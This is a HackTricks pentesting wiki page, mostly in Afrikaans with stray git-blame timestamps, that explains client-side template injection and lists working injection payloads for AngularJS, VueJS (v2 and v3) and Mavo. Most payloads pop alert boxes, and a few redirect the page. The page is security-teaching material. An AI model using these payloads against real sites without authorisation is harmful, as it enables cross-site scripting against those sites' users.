hacktricks/pentesting-web/client-side-template-injection-csti.md

108 lines
6.6 KiB
Markdown
Raw Permalink Normal View History

# Client Side Template Injection (CSTI)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
## Opsomming
Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/) maar in die **klant**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer.
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
## AngularJS
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.
In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
2021-06-29 12:49:13 +00:00
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
2021-06-29 12:49:13 +00:00
{% hint style="danger" %}
[**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `<input ng-focus=$event.view.alert('XSS')>` te werk.
2021-06-29 12:49:13 +00:00
{% endhint %}
## VueJS
You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
'n Regtig goeie pos oor CSTI in VUE kan gevind word in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
2021-11-22 11:32:00 +00:00
### **V3**
```
2021-02-25 11:39:28 +00:00
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
2021-02-25 11:39:28 +00:00
### **V2**
```
2021-02-25 11:39:28 +00:00
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
2021-02-25 11:39:28 +00:00
**Kyk meer VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
2021-11-22 11:32:00 +00:00
## Mavo
Payload:
```
2021-06-25 16:39:43 +00:00
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
2021-02-25 11:39:28 +00:00
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
2021-06-25 16:39:43 +00:00
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
2024-02-11 02:07:06 +00:00
**Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **Brute-Force Opsporing Lys**
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:01:33 +00:00
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}